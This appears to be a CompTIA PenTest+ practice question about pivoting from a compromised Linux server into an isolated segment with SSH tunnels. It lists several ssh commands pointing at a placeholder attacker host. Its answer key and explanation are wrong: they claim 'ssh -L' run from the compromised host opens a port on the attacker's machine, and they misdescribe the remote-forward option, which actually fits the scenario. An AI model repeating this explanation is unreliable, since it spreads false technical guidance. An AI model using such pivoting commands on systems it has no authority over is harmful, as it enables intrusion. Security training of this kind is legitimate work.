CompTIA PenTest+ (PT0-003)Post-exploitation and Lateral MovementMedium
A penetration tester has compromised a Linux server and established a reverse shell. The tester needs to pivot into an isolated network segment accessible only from the compromised server. To achieve this, the tester plans to set up an SSH tunnel. Which command initiates a local SSH port forwarding tunnel from the compromised server to the attacker's machine, allowing access to a target in the isolated segment?
- Assh -D 8080 user@attacker_ip
- Bssh -L 8080:target_ip:80 user@compromised_server_ip
- Cssh -L 8080:target_ip:80 user@attacker_ip
- Dssh -R 8080:target_ip:80 user@attacker_ip
Show answer & explanationAnswer & explanation
Correct answer: C. ssh -L 8080:target_ip:80 user@attacker_ip
The command `ssh -L 8080:target_ip:80 user@attacker_ip` creates a local port forward. This means that access to `localhost:8080` on the attacker's machine will be forwarded through the compromised server's SSH connection to `target_ip:80` within the isolated network segment. The SSH connection is initiated from the compromised server back to the attacker's machine.
Why the other options are wrong
- A. This command creates a SOCKS proxy, not a direct port forward to a specific target service.
- B. This command attempts to establish a local port forward, but `user@compromised_server_ip` implies connecting to the compromised server, not from it back to the attacker.
- D. This command creates a remote port forward, meaning a port on the attacker's machine is forwarded to the compromised server.
Local SSH Port Forwarding
A technique to tunnel traffic from a local port on the attacker's machine, through an SSH connection established from a compromised host, to a specific port on a target host within a restricted network.
- Uses the `-L` option with SSH.
- Syntax: `ssh -L [attacker_port]:[target_ip]:[target_port] user@attacker_ip` (executed from compromised host).
- Allows the attacker to access services in the internal network as if they were on their local machine.
Memory trick: Local SSH tunnels bring the target closer.